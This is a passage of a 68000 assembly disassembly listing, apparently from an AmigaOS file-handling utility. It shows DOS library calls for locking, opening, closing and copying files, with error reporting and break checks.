  1708.     BNE    LAB_0096        ;1038: 660008F8
  1709.     MOVE.L    -108(A5),-116(A5)    ;103C: 2B6DFF94FF8C
  1710.     LEA    LAB_00AE(PC),A0        ;1042: 41FA0B26
  1711.     MOVE.L    A0,D1            ;1046: 2208
  1712.     LEA    -60(A5),A1        ;1048: 43EDFFC4
  1713.     MOVE.L    A1,D2            ;104C: 2409
  1714.     JSR    -954(A6)        ;104E: 4EAEFC46
  1715.     LEA    LAB_00AF(PC),A0        ;1052: 41FA0B2A
  1716.     MOVE.L    A0,-116(A5)        ;1056: 2B48FF8C
  1717.     LEA    LAB_00B0(PC),A0        ;105A: 41FA0B26
  1718.     MOVE.L    A0,D1            ;105E: 2208
  1719.     LEA    -116(A5),A1        ;1060: 43EDFF8C
  1720.     MOVE.L    A1,D2            ;1064: 2409
  1721.     JSR    -954(A6)        ;1066: 4EAEFC46
  1722.     MOVE.L    D4,D1            ;106A: 2204
  1723.     MOVEQ    #0,D2            ;106C: 7400
  1724.     JSR    -474(A6)        ;106E: 4EAEFE26
  1725.     CLR.L    -116(A5)        ;1072: 42ADFF8C
  1726.     MOVEQ    #5,D0            ;1076: 7005
  1727.     MOVE.L    D0,-68(A5)        ;1078: 2B40FFBC
  1728.     BRA    LAB_0095        ;107C: 6000089A
  1729. LAB_004B:
  1730.     MOVEA.L    46(A7),A2        ;1080: 246F002E
  1731.     MOVEA.L    -160(A5),A3        ;1084: 266DFF60
  1732.     TST.L    (A3)            ;1088: 4A93
  1733.     BEQ.S    LAB_004C        ;108A: 670A
  1734.     MOVE.L    -164(A5),D1        ;108C: 222DFF5C
  1735.     MOVEA.L    A2,A6            ;1090: 2C4A
  1736.     JSR    -126(A6)        ;1092: 4EAEFF82
  1737. LAB_004C:
  1738.     MOVEA.L    -140(A5),A3        ;1096: 266DFF74
  1739.     BTST    #1,16(A3)        ;109A: 082B00010010
  1740.     BNE    LAB_0050        ;10A0: 660000C0
  1741.     MOVE.L    24(A3),D0        ;10A4: 202B0018
  1742.     TST.L    D0            ;10A8: 4A80
  1743.     BLE    LAB_0050        ;10AA: 6F0000B6
  1744.     BSET    #2,16(A3)        ;10AE: 08EB00020010
  1745.     MOVEA.L    -160(A5),A0        ;10B4: 206DFF60
  1746.     MOVE.L    (A0),D0            ;10B8: 2010
  1747.     MOVEA.L    A3,A0            ;10BA: 204B
  1748.     MOVEA.L    A2,A1            ;10BC: 224A
  1749.     BSR    LAB_00D0        ;10BE: 61000BA4
  1750.     TST.L    D0            ;10C2: 4A80
  1751.     BEQ    LAB_0050        ;10C4: 6700009C
  1752.     MOVEA.L    A2,A6            ;10C8: 2C4A
  1753.     JSR    -132(A6)        ;10CA: 4EAEFF7C
  1754.     MOVE.L    D0,D4            ;10CE: 2800
  1755.     MOVEQ    #116,D0            ;10D0: 7074
  1756.     ADD.L    D0,D0            ;10D2: D080
  1757.     CMP.L    D0,D4            ;10D4: B880
  1758.     BEQ    LAB_0050        ;10D6: 6700008A
  1759.     BRA    LAB_0096        ;10DA: 60000856
  1760. LAB_004D:
  1761.     MOVE.L    -32(A5),D6        ;10DE: 2C2DFFE0
  1762.     SUBQ.L    #1,D6            ;10E2: 5386
  1763.     MOVE.L    D6,-32(A5)        ;10E4: 2B46FFE0
  1764.     TST.L    40(A7)            ;10E8: 4AAF0028
  1765.     BEQ.S    LAB_004F        ;10EC: 6752
  1766.     MOVE.L    D5,D0            ;10EE: 2005
  1767.     MOVE.L    D0,36(A7)        ;10F0: 2F400024
  1768.     MOVE.L    D0,D1            ;10F4: 2200
  1769.     MOVEA.L    A2,A6            ;10F6: 2C4A
  1770.     JSR    -210(A6)        ;10F8: 4EAEFF2E
  1771.     MOVE.L    D0,D5            ;10FC: 2A00
  1772.     MOVE.L    36(A7),D1        ;10FE: 222F0024
  1773.     JSR    -90(A6)            ;1102: 4EAEFFA6
  1774.     TST.L    D5            ;1106: 4A85
  1775.     BEQ.S    LAB_004F        ;1108: 6736
  1776.     MOVE.L    24(A3),D0        ;110A: 202B0018
  1777.     TST.L    D0            ;110E: 4A80
  1778.     BLE.S    LAB_004F        ;1110: 6F2E
  1779.     TST.L    -88(A5)            ;1112: 4AADFFA8
  1780.     BNE.S    LAB_004E        ;1116: 6606
  1781.     TST.L    -84(A5)            ;1118: 4AADFFAC
  1782.     BEQ.S    LAB_004F        ;111C: 6722
  1783. LAB_004E:
  1784.     MOVE.L    D5,D1            ;111E: 2205
  1785.     JSR    -126(A6)        ;1120: 4EAEFF82
  1786.     LEA    28(A3),A0        ;1124: 41EB001C
  1787.     LEA    152(A3),A1        ;1128: 43EB0098
  1788.     MOVE.L    D0,36(A7)        ;112C: 2F400024
  1789.     MOVE.L    A0,D1            ;1130: 2208
  1790.     MOVE.L    A1,D2            ;1132: 2409
  1791.     JSR    -396(A6)        ;1134: 4EAEFE74
  1792.     MOVE.L    36(A7),D1        ;1138: 222F0024
  1793.     JSR    -126(A6)        ;113C: 4EAEFF82
  1794. LAB_004F:
  1795.     BCLR    #3,16(A3)        ;1140: 08AB00030010
  1796.     MOVEA.L    -160(A5),A0        ;1146: 206DFF60
  1797.     MOVE.L    (A0),D0            ;114A: 2010
  1798.     MOVEA.L    A3,A0            ;114C: 204B
  1799.     MOVEA.L    A2,A1            ;114E: 224A
  1800.     BSR    LAB_00D0        ;1150: 61000B12
  1801.     MOVE.L    D0,D7            ;1154: 2E00
  1802.     TST.L    D7            ;1156: 4A87
  1803.     BNE    LAB_0093        ;1158: 6600079A
  1804.     TST.L    D6            ;115C: 4A86
  1805.     BMI    LAB_0093        ;115E: 6B000794
  1806. LAB_0050:
  1807.     MOVEA.L    -140(A5),A3        ;1162: 266DFF74
  1808.     MOVEA.L    46(A7),A2        ;1166: 246F002E
  1809.     BTST    #3,16(A3)        ;116A: 082B00030010
  1810.     BNE    LAB_004D        ;1170: 6600FF6C
  1811.     MOVEQ    #64,D1            ;1174: 7240
  1812.     LSL.L    #6,D1            ;1176: ED89
  1813.     MOVEA.L    A2,A6            ;1178: 2C4A
  1814.     JSR    -792(A6)        ;117A: 4EAEFCE8
  1815.     TST.L    D0            ;117E: 4A80
  1816.     BEQ    LAB_0067        ;1180: 670002E2
  1817.     MOVEQ    #76,D1            ;1184: 724C
  1818.     LSL.L    #2,D1            ;1186: E589
  1819.     MOVEQ    #0,D2            ;1188: 7400
  1820.     JSR    -474(A6)        ;118A: 4EAEFE26
  1821.     BRA    LAB_009B        ;118E: 6000080E
  1822. LAB_0051:
  1823.     TST.L    -96(A5)            ;1192: 4AADFFA0
  1824.     BNE.S    LAB_0052        ;1196: 6626
  1825.     MOVE.L    -32(A5),D0        ;1198: 202DFFE0
  1826.     ADDQ.L    #1,D0            ;119C: 5280
  1827.     MOVEA.L    A2,A0            ;119E: 204A
  1828.     BSR    LAB_00D7        ;11A0: 61000AF6
  1829.     LEA    28(A3),A0        ;11A4: 41EB001C
  1830.     MOVE.L    A0,-116(A5)        ;11A8: 2B48FF8C
  1831.     LEA    LAB_00B7(PC),A0        ;11AC: 41FA0A18
  1832.     MOVE.L    A0,D1            ;11B0: 2208
  1833.     LEA    -116(A5),A1        ;11B2: 43EDFF8C
  1834.     MOVE.L    A1,D2            ;11B6: 2409
  1835.     MOVEA.L    A2,A6            ;11B8: 2C4A
  1836.     JSR    -954(A6)        ;11BA: 4EAEFC46
  1837. LAB_0052:
  1838.     TST.L    -100(A5)        ;11BE: 4AADFF9C
  1839.     BEQ    LAB_0062        ;11C2: 670001E0
  1840.     MOVEQ    #64,D1            ;11C6: 7240
  1841.     LSL.L    #6,D1            ;11C8: ED89
  1842.     MOVEA.L    A2,A6            ;11CA: 2C4A
  1843.     JSR    -792(A6)        ;11CC: 4EAEFCE8
  1844.     TST.L    D0            ;11D0: 4A80
  1845.     BEQ.S    LAB_0053        ;11D2: 670E
  1846.     MOVEQ    #76,D1            ;11D4: 724C
  1847.     LSL.L    #2,D1            ;11D6: E589
  1848.     MOVEQ    #0,D2            ;11D8: 7400
  1849.     JSR    -474(A6)        ;11DA: 4EAEFE26
  1850.     BRA    LAB_009B        ;11DE: 600007BE
  1851. LAB_0053:
  1852.     MOVEA.L    -140(A5),A3        ;11E2: 266DFF74
  1853.     MOVEA.L    46(A7),A2        ;11E6: 246F002E
  1854.     MOVEA.L    A3,A0            ;11EA: 204B
  1855.     MOVEA.L    4(A0),A1        ;11EC: 22680004
  1856.     MOVE.L    A0,36(A7)        ;11F0: 2F480024
  1857.     MOVE.L    8(A1),D1        ;11F4: 22290008
  1858.     MOVEA.L    A2,A6            ;11F8: 2C4A
  1859.     JSR    -126(A6)        ;11FA: 4EAEFF82
  1860.     ADDA    #$001C,A3        ;11FE: D6FC001C
  1861.     MOVE.L    D0,54(A7)        ;1202: 2F400036
  1862.     MOVE.L    A3,D1            ;1206: 220B
  1863.     MOVEQ    #-2,D2            ;1208: 74FE
  1864.     JSR    -84(A6)            ;120A: 4EAEFFAC
  1865.     MOVE.L    D0,D6            ;120E: 2C00
  1866.     MOVE.L    54(A7),D1        ;1210: 222F0036
  1867.     JSR    -126(A6)        ;1214: 4EAEFF82
  1868.     MOVEA.L    36(A7),A1        ;1218: 226F0024
  1869.     MOVEA.L    4(A1),A0        ;121C: 20690004
  1870.     MOVE.L    8(A0),D1        ;1220: 22280008
  1871.     JSR    -96(A6)            ;1224: 4EAEFFA0
  1872.     MOVE.L    D0,D7            ;1228: 2E00
  1873.     BRA.S    LAB_0056        ;122A: 6050
  1874. LAB_0054:
  1875.     MOVE.L    D6,D1            ;122C: 2206
  1876.     MOVE.L    D7,D2            ;122E: 2407
  1877.     MOVEA.L    A2,A6            ;1230: 2C4A
  1878.     JSR    -420(A6)        ;1232: 4EAEFE5C
  1879.     TST.L    D0            ;1236: 4A80
  1880.     BNE.S    LAB_0055        ;1238: 6628
  1881.     MOVE.L    A3,-116(A5)        ;123A: 2B4BFF8C
  1882.     LEA    LAB_00BA(PC),A6        ;123E: 4DFA0990
  1883.     MOVE.L    A6,D1            ;1242: 220E
  1884.     LEA    -116(A5),A0        ;1244: 41EDFF8C
  1885.     MOVE.L    A0,D2            ;1248: 2408
  1886.     MOVEA.L    A2,A6            ;124A: 2C4A
  1887.     JSR    -954(A6)        ;124C: 4EAEFC46
  1888.     MOVEQ    #0,D4            ;1250: 7800
  1889.     MOVE.L    D6,D1            ;1252: 2206
  1890.     JSR    -90(A6)            ;1254: 4EAEFFA6
  1891.     MOVE.L    D7,D1            ;1258: 2207
  1892.     JSR    -90(A6)            ;125A: 4EAEFFA6
  1893.     BRA    LAB_0096        ;125E: 600006D2
  1894. LAB_0055:
  1895.     MOVEA.L    46(A7),A2        ;1262: 246F002E
  1896.     MOVE.L    D7,D1            ;1266: 2207
  1897.     MOVEA.L    A2,A6            ;1268: 2C4A
  1898.     JSR    -210(A6)        ;126A: 4EAEFF2E
  1899.     MOVE.L    D0,36(A7)        ;126E: 2F400024
  1900.     MOVE.L    D7,D1            ;1272: 2207
  1901.     JSR    -90(A6)            ;1274: 4EAEFFA6
  1902.     MOVE.L    36(A7),D7        ;1278: 2E2F0024
  1903. LAB_0056:
  1904.     TST.L    D7            ;127C: 4A87
  1905.     BNE.S    LAB_0054        ;127E: 66AC
  1906.     TST.L    40(A7)            ;1280: 4AAF0028
  1907.     BEQ    LAB_0060        ;1284: 67000102
  1908.     TST.L    -36(A5)            ;1288: 4AADFFDC
  1909.     BEQ.S    LAB_0057        ;128C: 670C
  1910.     MOVE.L    D5,D1            ;128E: 2205
  1911.     MOVEA.L    A2,A6            ;1290: 2C4A
  1912.     JSR    -210(A6)        ;1292: 4EAEFF2E
  1913.     MOVE.L    D0,D7            ;1296: 2E00
  1914.     BRA.S    LAB_005A        ;1298: 605C
  1915. LAB_0057:
  1916.     MOVE.L    D5,D1            ;129A: 2205
  1917.     MOVEA.L    A2,A6            ;129C: 2C4A
  1918.     JSR    -96(A6)            ;129E: 4EAEFFA0
  1919.     MOVE.L    D0,D7            ;12A2: 2E00
  1920.     BRA.S    LAB_005A        ;12A4: 6050
  1921. LAB_0058:
  1922.     MOVE.L    D6,D1            ;12A6: 2206
  1923.     MOVE.L    D7,D2            ;12A8: 2407
  1924.     MOVEA.L    A2,A6            ;12AA: 2C4A
  1925.     JSR    -420(A6)        ;12AC: 4EAEFE5C
  1926.     TST.L    D0            ;12B0: 4A80
  1927.     BNE.S    LAB_0059        ;12B2: 6628
  1928.     MOVE.L    A3,-116(A5)        ;12B4: 2B4BFF8C
  1929.     LEA    LAB_00BA(PC),A6        ;12B8: 4DFA0916
  1930.     MOVE.L    A6,D1            ;12BC: 220E
  1931.     LEA    -116(A5),A0        ;12BE: 41EDFF8C
  1932.     MOVE.L    A0,D2            ;12C2: 2408
  1933.     MOVEA.L    A2,A6            ;12C4: 2C4A
  1934.     JSR    -954(A6)        ;12C6: 4EAEFC46
  1935.     MOVEQ    #0,D4            ;12CA: 7800
  1936.     MOVE.L    D6,D1            ;12CC: 2206
  1937.     JSR    -90(A6)            ;12CE: 4EAEFFA6
  1938.     MOVE.L    D7,D1            ;12D2: 2207
  1939.     JSR    -90(A6)            ;12D4: 4EAEFFA6
  1940.     BRA    LAB_0096        ;12D8: 60000658
  1941. LAB_0059:
  1942.     MOVEA.L    46(A7),A2        ;12DC: 246F002E
  1943.     MOVE.L    D7,D1            ;12E0: 2207
  1944.     MOVEA.L    A2,A6            ;12E2: 2C4A
  1945.     JSR    -210(A6)        ;12E4: 4EAEFF2E
  1946.     MOVE.L    D0,36(A7)        ;12E8: 2F400024
  1947.     MOVE.L    D7,D1            ;12EC: 2207
  1948.     JSR    -90(A6)            ;12EE: 4EAEFFA6
  1949.     MOVE.L    36(A7),D7        ;12F2: 2E2F0024
  1950. LAB_005A:
  1951.     TST.L    D7            ;12F6: 4A87
  1952.     BNE.S    LAB_0058        ;12F8: 66AC
  1953.     MOVE.L    D5,D1            ;12FA: 2205
  1954.     MOVEA.L    A2,A6            ;12FC: 2C4A
  1955.     JSR    -126(A6)        ;12FE: 4EAEFF82
  1956.     MOVE.L    D0,D7            ;1302: 2E00
  1957.     MOVE.L    A3,D1            ;1304: 220B
  1958.     MOVEQ    #-2,D2            ;1306: 74FE
  1959.     JSR    -84(A6)            ;1308: 4EAEFFAC
  1960.     MOVE.L    D0,D5            ;130C: 2A00
  1961.     TST.L    D5            ;130E: 4A85
  1962.     BNE.S    LAB_005E        ;1310: 6652
  1963.     MOVE.L    A3,D1            ;1312: 220B
  1964.     JSR    -120(A6)        ;1314: 4EAEFF88
  1965.     MOVE.L    D0,D5            ;1318: 2A00
  1966.     TST.L    D5            ;131A: 4A85
  1967.     BNE.S    LAB_005D        ;131C: 6632
  1968.     JSR    -132(A6)        ;131E: 4EAEFF7C
  1969.     MOVE.L    D0,D4            ;1322: 2800
  1970.     MOVE.L    D7,D1            ;1324: 2207
  1971.     JSR    -126(A6)        ;1326: 4EAEFF82
  1972.     MOVE.L    D0,D5            ;132A: 2A00
  1973.     TST.L    -96(A5)            ;132C: 4AADFFA0
  1974.     BNE.S    LAB_005B        ;1330: 660A
  1975.     LEA    LAB_00BC(PC),A0        ;1332: 41FA08B6
  1976.     MOVE.L    A0,D1            ;1336: 2208
  1977.     JSR    -948(A6)        ;1338: 4EAEFC4C
  1978. LAB_005B:
  1979.     MOVEA.L    A3,A0            ;133C: 204B
  1980.     MOVEA.L    -48(A5),A1        ;133E: 226DFFD0
  1981. LAB_005C:
  1982.     MOVE.B    (A0)+,(A1)+        ;1342: 12D8
  1983.     BNE.S    LAB_005C        ;1344: 66FC
  1984.     MOVE.L    -48(A5),-116(A5)    ;1346: 2B6DFFD0FF8C
  1985.     BRA    LAB_0096        ;134C: 600005E4
  1986. LAB_005D:
  1987.     TST.L    -96(A5)            ;1350: 4AADFFA0
  1988.     BNE.S    LAB_005F        ;1354: 661E
  1989.     LEA    LAB_00BD(PC),A0        ;1356: 41FA0894
  1990.     MOVE.L    A0,D1            ;135A: 2208
  1991.     MOVEA.L    A2,A6            ;135C: 2C4A
  1992.     JSR    -948(A6)        ;135E: 4EAEFC4C
  1993.     BRA.S    LAB_005F        ;1362: 6010
  1994. LAB_005E:
  1995.     TST.L    -96(A5)            ;1364: 4AADFFA0
  1996.     BNE.S    LAB_005F        ;1368: 660A
  1997.     LEA    LAB_00BC(PC),A0        ;136A: 41FA087E
  1998.     MOVE.L    A0,D1            ;136E: 2208
  1999.     JSR    -948(A6)        ;1370: 4EAEFC4C
  2000. LAB_005F:
  2001.     ADDQ.L    #1,-32(A5)        ;1374: 52ADFFE0
  2002.     MOVE.L    D7,D1            ;1378: 2207
  2003.     MOVEA.L    A2,A6            ;137A: 2C4A
  2004.     JSR    -126(A6)        ;137C: 4EAEFF82
  2005.     MOVE.L    D0,D1            ;1380: 2200
  2006.     JSR    -90(A6)            ;1382: 4EAEFFA6
  2007.     BRA.S    LAB_0061        ;1386: 6012
  2008. LAB_0060:
  2009.     TST.L    -96(A5)            ;1388: 4AADFFA0
  2010.     BNE.S    LAB_0061        ;138C: 660C
  2011.     LEA    LAB_00BC(PC),A0        ;138E: 41FA085A
  2012.     MOVE.L    A0,D1            ;1392: 2208
  2013.     MOVEA.L    A2,A6            ;1394: 2C4A
  2014.     JSR    -948(A6)        ;1396: 4EAEFC4C
  2015. LAB_0061:
  2016.     MOVE.L    D6,D1            ;139A: 2206
  2017.     MOVEA.L    A2,A6            ;139C: 2C4A
  2018.     JSR    -90(A6)            ;139E: 4EAEFFA6
  2019.     BRA.S    LAB_0063        ;13A2: 6018
  2020. LAB_0062:
  2021.     TST.L    -96(A5)            ;13A4: 4AADFFA0
  2022.     BNE    LAB_0092        ;13A8: 66000532
  2023.     LEA    LAB_00BC(PC),A0        ;13AC: 41FA083C
  2024.     MOVE.L    A0,D1            ;13B0: 2208
  2025.     MOVEA.L    A2,A6            ;13B2: 2C4A
  2026.     JSR    -948(A6)        ;13B4: 4EAEFC4C
  2027.     BRA    LAB_0092        ;13B8: 60000522
  2028. LAB_0063:
  2029.     MOVEA.L    -140(A5),A0        ;13BC: 206DFF74
  2030.     BSET    #2,16(A0)        ;13C0: 08E800020010
  2031.     MOVEA.L    46(A7),A2        ;13C6: 246F002E
  2032.     MOVEA.L    -160(A5),A1        ;13CA: 226DFF60
  2033.     MOVE.L    (A1),D0            ;13CE: 2011
  2034.     MOVEA.L    A2,A1            ;13D0: 224A
  2035.     BSR    LAB_00D0        ;13D2: 61000890
  2036.     TST.L    D0            ;13D6: 4A80
  2037.     BEQ.S    LAB_0064        ;13D8: 670C
  2038.     MOVEA.L    A2,A6            ;13DA: 2C4A
  2039.     JSR    -132(A6)        ;13DC: 4EAEFF7C
  2040.     MOVE.L    D0,D7            ;13E0: 2E00
  2041.     BRA    LAB_0093        ;13E2: 60000510
  2042. LAB_0064:
  2043.     MOVEA.L    -140(A5),A0        ;13E6: 206DFF74
  2044.     BTST    #3,16(A0)        ;13EA: 082800030010
  2045.     BEQ.S    LAB_0067        ;13F0: 6772
  2046.     SUBQ.L    #1,-32(A5)        ;13F2: 53ADFFE0
  2047.     MOVEA.L    46(A7),A2        ;13F6: 246F002E
  2048.     TST.L    40(A7)            ;13FA: 4AAF0028
  2049.     BEQ.S    LAB_0066        ;13FE: 6756
  2050.     MOVE.L    D5,D0            ;1400: 2005
  2051.     MOVE.L    D0,36(A7)        ;1402: 2F400024
  2052.     MOVE.L    D0,D1            ;1406: 2200
  2053.     MOVEA.L    A2,A6            ;1408: 2C4A
  2054.     JSR    -210(A6)        ;140A: 4EAEFF2E
  2055.     MOVE.L    D0,D5            ;140E: 2A00
  2056.     MOVE.L    36(A7),D1        ;1410: 222F0024
  2057.     JSR    -90(A6)            ;1414: 4EAEFFA6
  2058.     TST.L    D5            ;1418: 4A85
  2059.     BEQ.S    LAB_0066        ;141A: 673A
  2060.     MOVEA.L    -140(A5),A0        ;141C: 206DFF74
  2061.     MOVE.L    24(A0),D0        ;1420: 20280018
  2062.     TST.L    D0            ;1424: 4A80
  2063.     BLE.S    LAB_0066        ;1426: 6F2E
  2064.     TST.L    -88(A5)            ;1428: 4AADFFA8
  2065.     BNE.S    LAB_0065        ;142C: 6606
  2066.     TST.L    -84(A5)            ;142E: 4AADFFAC
  2067.     BEQ.S    LAB_0066        ;1432: 6722
  2068. LAB_0065:
  2069.     MOVE.L    D5,D1            ;1434: 2205
  2070.     JSR    -126(A6)        ;1436: 4EAEFF82
  2071.     MOVEA.L    -140(A5),A0        ;143A: 206DFF74
  2072.     ADDA    #$0098,A0        ;143E: D0FC0098
  2073.     MOVE.L    D0,36(A7)        ;1442: 2F400024
  2074.     MOVE.L    A0,D2            ;1446: 2408
  2075.     MOVE.L    A3,D1            ;1448: 220B
  2076.     JSR    -396(A6)        ;144A: 4EAEFE74
  2077.     MOVE.L    36(A7),D1        ;144E: 222F0024
  2078.     JSR    -126(A6)        ;1452: 4EAEFF82
  2079. LAB_0066:
  2080.     MOVEA.L    -140(A5),A0        ;1456: 206DFF74
  2081.     BCLR    #3,16(A0)        ;145A: 08A800030010
  2082.     BRA    LAB_0092        ;1460: 6000047A
  2083. LAB_0067:
  2084.     MOVEA.L    -140(A5),A3        ;1464: 266DFF74
  2085.     MOVEA.L    46(A7),A2        ;1468: 246F002E
  2086.     MOVE.L    24(A3),D0        ;146C: 202B0018
  2087.     TST.L    D0            ;1470: 4A80
  2088.     BGT    LAB_0051        ;1472: 6E00FD1E
  2089.     MOVEQ    #1,D7            ;1476: 7E01
  2090.     MOVEA.L    4(A3),A0        ;1478: 206B0004
  2091.     MOVE.L    8(A0),D1        ;147C: 22280008
  2092.     MOVEA.L    A2,A6            ;1480: 2C4A
  2093.     JSR    -126(A6)        ;1482: 4EAEFF82
  2094.     MOVE.L    D0,D6            ;1486: 2C00
  2095.     ADDA    #$001C,A3        ;1488: D6FC001C
  2096.     MOVEA.L    A3,A0            ;148C: 204B
  2097.     MOVE.L    A0,36(A7)        ;148E: 2F480024
  2098.     MOVE.L    A3,D1            ;1492: 220B
  2099.     MOVE.L    #$000003ED,D2        ;1494: 243C000003ED
  2100.     JSR    -30(A6)            ;149A: 4EAEFFE2
  2101.     MOVE.L    D0,-120(A5)        ;149E: 2B40FF88
  2102.     BNE.S    LAB_0068        ;14A2: 6602
  2103.     MOVEQ    #0,D7            ;14A4: 7E00
  2104. LAB_0068:
  2105.     MOVE.L    D6,D1            ;14A6: 2206
  2106.     JSR    -126(A6)        ;14A8: 4EAEFF82
  2107.     TST.L    -120(A5)        ;14AC: 4AADFF88
  2108.     BEQ.S    LAB_006A        ;14B0: 6738
  2109.     TST.L    D5            ;14B2: 4A85
  2110.     BEQ.S    LAB_0069        ;14B4: 6720
  2111.     MOVE.L    D5,D1            ;14B6: 2205
  2112.     JSR    -126(A6)        ;14B8: 4EAEFF82
  2113.     MOVE.L    D0,D6            ;14BC: 2C00
  2114.     MOVE.L    A3,D1            ;14BE: 220B
  2115.     MOVE.L    #$000003EE,D2        ;14C0: 243C000003EE
  2116.     JSR    -30(A6)            ;14C6: 4EAEFFE2
  2117.     MOVE.L    D0,-124(A5)        ;14CA: 2B40FF84
  2118.     MOVE.L    D6,D1            ;14CE: 2206
  2119.     JSR    -126(A6)        ;14D0: 4EAEFF82
  2120.     BRA.S    LAB_006A        ;14D4: 6014
  2121. LAB_0069:
  2122.     MOVEA.L    -104(A5),A0        ;14D6: 206DFF98
  2123.     MOVE.L    A0,D1            ;14DA: 2208
  2124.     MOVE.L    #$000003EE,D2        ;14DC: 243C000003EE
  2125.     JSR    -30(A6)            ;14E2: 4EAEFFE2
  2126.     MOVE.L    D0,-124(A5)        ;14E6: 2B40FF84
  2127. LAB_006A:
  2128.     TST.L    -124(A5)        ;14EA: 4AADFF84
  2129.     BEQ.S    LAB_006B        ;14EE: 6708
  2130.     TST.L    -120(A5)        ;14F0: 4AADFF88
  2131.     BNE    LAB_0071        ;14F4: 66000084
  2132. LAB_006B:
  2133.     JSR    -132(A6)        ;14F8: 4EAEFF7C
  2134.     MOVE.L    D0,D4            ;14FC: 2800
  2135.     MOVE.L    A3,-116(A5)        ;14FE: 2B4BFF8C
  2136.     TST.L    -124(A5)        ;1502: 4AADFF84
  2137.     BNE.S    LAB_006D        ;1506: 6618
  2138.     TST.L    -28(A5)            ;1508: 4AADFFE4
  2139.     BNE.S    LAB_006C        ;150C: 6606
  2140.     MOVE.L    -104(A5),-116(A5)    ;150E: 2B6DFF98FF8C
  2141. LAB_006C:
  2142.     MOVE.L    -120(A5),D1        ;1514: 222DFF88
  2143.     JSR    -36(A6)            ;1518: 4EAEFFDC
  2144.     CLR.L    -120(A5)        ;151C: 42ADFF88
  2145. LAB_006D:
  2146.     LEA    LAB_00AE(PC),A0        ;1520: 41FA0648
  2147.     MOVE.L    A0,D1            ;1524: 2208
  2148.     LEA    -116(A5),A1        ;1526: 43EDFF8C
  2149.     MOVE.L    A1,D2            ;152A: 2409
  2150.     JSR    -954(A6)        ;152C: 4EAEFC46
  2151.     TST.L    D7            ;1530: 4A87
  2152.     BEQ.S    LAB_006E        ;1532: 6706
  2153.     LEA    LAB_00BF(PC),A0        ;1534: 41FA06C4
  2154.     BRA.S    LAB_006F        ;1538: 6004
  2155. LAB_006E:
  2156.     LEA    LAB_00AF(PC),A0        ;153A: 41FA0642
  2157. LAB_006F:
  2158.     MOVE.L    A0,-116(A5)        ;153E: 2B48FF8C
  2159.     LEA    LAB_00B0(PC),A0        ;1542: 41FA063E
  2160.     MOVE.L    A0,D1            ;1546: 2208
  2161.     JSR    -954(A6)        ;1548: 4EAEFC46
  2162.     MOVE.L    D4,D1            ;154C: 2204
  2163.     MOVEQ    #0,D2            ;154E: 7400
  2164.     JSR    -474(A6)        ;1550: 4EAEFE26
  2165.     MOVEQ    #5,D0            ;1554: 7005
  2166.     MOVE.L    D0,-68(A5)        ;1556: 2B40FFBC
  2167.     MOVE.L    D4,D0            ;155A: 2004
  2168.     BSR    LAB_00DC        ;155C: 6100075E
  2169.     TST.L    D0            ;1560: 4A80
  2170.     BEQ.S    LAB_0070        ;1562: 6710
  2171.     MOVEA.L    -140(A5),A3        ;1564: 266DFF74
  2172.     MOVE.L    A3,D1            ;1568: 220B
  2173.     MOVEA.L    A2,A6            ;156A: 2C4A
  2174.     JSR    -834(A6)        ;156C: 4EAEFCBE
  2175.     BRA    LAB_009B        ;1570: 6000042C
  2176. LAB_0070:
  2177.     MOVEQ    #0,D4            ;1574: 7800
  2178.     BRA    LAB_0092        ;1576: 60000364
  2179. LAB_0071:
  2180.     MOVEA.L    36(A7),A3        ;157A: 266F0024
  2181.     TST.L    -28(A5)            ;157E: 4AADFFE4
  2182.     BEQ.S    LAB_0072        ;1582: 6734
  2183.     TST.L    -96(A5)            ;1584: 4AADFFA0
  2184.     BNE.S    LAB_0072        ;1588: 662E
  2185.     MOVE.L    -32(A5),D0        ;158A: 202DFFE0
  2186.     MOVEA.L    46(A7),A0        ;158E: 206F002E
  2187.     BSR    LAB_00D7        ;1592: 61000704
  2188.     MOVE.L    A3,-116(A5)        ;1596: 2B4BFF8C
  2189.     LEA    LAB_00C0(PC),A0        ;159A: 41FA0662
  2190.     MOVE.L    A0,D1            ;159E: 2208
  2191.     LEA    -116(A5),A1        ;15A0: 43EDFF8C
  2192.     MOVE.L    A1,D2            ;15A4: 2409
  2193.     MOVEA.L    46(A7),A6        ;15A6: 2C6F002E
  2194.     JSR    -954(A6)        ;15AA: 4EAEFC46
  2195.     JSR    -60(A6)            ;15AE: 4EAEFFC4
  2196.     MOVE.L    D0,D1            ;15B2: 2200
  2197.     JSR    -360(A6)        ;15B4: 4EAEFE98
  2198. LAB_0072:
  2199.     MOVE.L    -112(A5),D7        ;15B8: 2E2DFF90
  2200.     TST.L    D7            ;15BC: 4A87
  2201.     BNE    LAB_0077        ;15BE: 66000086
  2202.     MOVEA.L    -140(A5),A0        ;15C2: 206DFF74
  2203.     MOVE.L    144(A0),D7        ;15C6: 2E280090
  2204.     TST.L    D7            ;15CA: 4A87
  2205.     BNE.S    LAB_0073        ;15CC: 6602
  2206.     MOVEQ    #8,D7            ;15CE: 7E08
  2207. LAB_0073:
  2208.     MOVE.L    D7,D0            ;15D0: 2007
  2209.     MOVEQ    #0,D1            ;15D2: 7200
  2210.     MOVEA.L    50(A7),A6        ;15D4: 2C6F0032
  2211.     JSR    -684(A6)        ;15D8: 4EAEFD54
  2212.     MOVE.L    D0,-56(A5)        ;15DC: 2B40FFC8
  2213.     BNE.S    LAB_0077        ;15E0: 6664
  2214.     CMPI.L    #$00000400,D7        ;15E2: 0C8700000400
  2215.     BGT.S    LAB_0074        ;15E8: 6E0A
  2216.     MOVEQ    #103,D4            ;15EA: 7867
  2217.     CLR.L    -116(A5)        ;15EC: 42ADFF8C
  2218.     BRA    LAB_0096        ;15F0: 60000340
  2219. LAB_0074:
  2220.     SUBI.L    #$00000400,D7        ;15F4: 048700000400
  2221.     BRA.S    LAB_0073        ;15FA: 60D4
  2222. LAB_0075:
  2223.     MOVEQ    #64,D1            ;15FC: 7240
  2224.     LSL.L    #6,D1            ;15FE: ED89
  2225.     MOVEA.L    A3,A6            ;1600: 2C4B
  2226.     JSR    -792(A6)        ;1602: 4EAEFCE8
  2227.     TST.L    D0            ;1606: 4A80
  2228.     BEQ.S    LAB_0076        ;1608: 6718
  2229.     MOVEQ    #1,D0            ;160A: 7001
  2230.     MOVE.L    D0,-116(A5)        ;160C: 2B40FF8C
  2231.     MOVEQ    #76,D1            ;1610: 724C
  2232.     LSL.L    #2,D1            ;1612: E589
  2233.     MOVEQ    #0,D2            ;1614: 7400
  2234.     JSR    -474(A6)        ;1616: 4EAEFE26
  2235.     MOVEQ    #0,D1            ;161A: 7200
